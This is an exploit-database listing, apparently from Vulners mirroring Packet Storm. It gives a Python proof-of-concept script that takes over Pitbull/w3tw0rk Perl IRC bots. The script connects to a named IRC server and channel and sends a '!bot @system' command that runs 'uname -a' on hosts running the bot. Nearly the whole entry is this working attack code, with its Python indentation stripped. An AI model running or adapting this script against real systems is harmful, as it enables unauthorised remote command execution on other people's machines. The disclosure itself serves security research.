Lucene search
K

Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution

🗓️ 06 Apr 2015 00:00:00Reported by Jay TurlaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

POC exploit for Pitbull/w3tw0rk IRC Bot enables Remote Code Execution via bot takeover.

Code
`# thehunter.py  
# Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution  
# author: @shipcod3  
# description: pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot that takes over the owner of a bot which then allows Remote Code Execution.  
  
import socket  
import sys  
  
def usage():  
print("USAGE: python thehunter.py nick \n")   
  
def main(argv):  
  
if len(argv) < 2:  
return usage()  
  
#irc server connection settings  
botnick = sys.argv[1] #admin payload for taking over the w3wt0rk bot  
server = "us.dal.net" #irc server  
channel = "#buhaypirata" #channel where the bot is located  
  
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket  
print "connecting to:"+server  
irc.connect((server, 6667)) #connects to the server  
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :I eat w3tw0rk bots!\n") #user authentication  
irc.send("NICK "+ botnick +"\n") #sets nick  
irc.send("JOIN "+ channel +"\n") #join the chan  
irc.send("PRIVMSG "+channel+" :!bot @system 'uname -a' \n") #send the payload to the bot  
  
while 1: #puts it in a loop  
text=irc.recv(2040) #receive the text  
print text #print text to console  
  
if text.find('PING') != -1: #check if 'PING' is found  
irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)  
if text.find('!quit') != -1: #quit the Bot  
irc.send ("QUIT\r\n")   
sys.exit()  
if text.find('Linux') != -1:   
irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")  
irc.send ("QUIT\r\n")  
sys.exit()  
  
if __name__ == "__main__":  
main(sys.argv)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2015 00:00Current
7.4High risk
Vulners AI Score7.4
36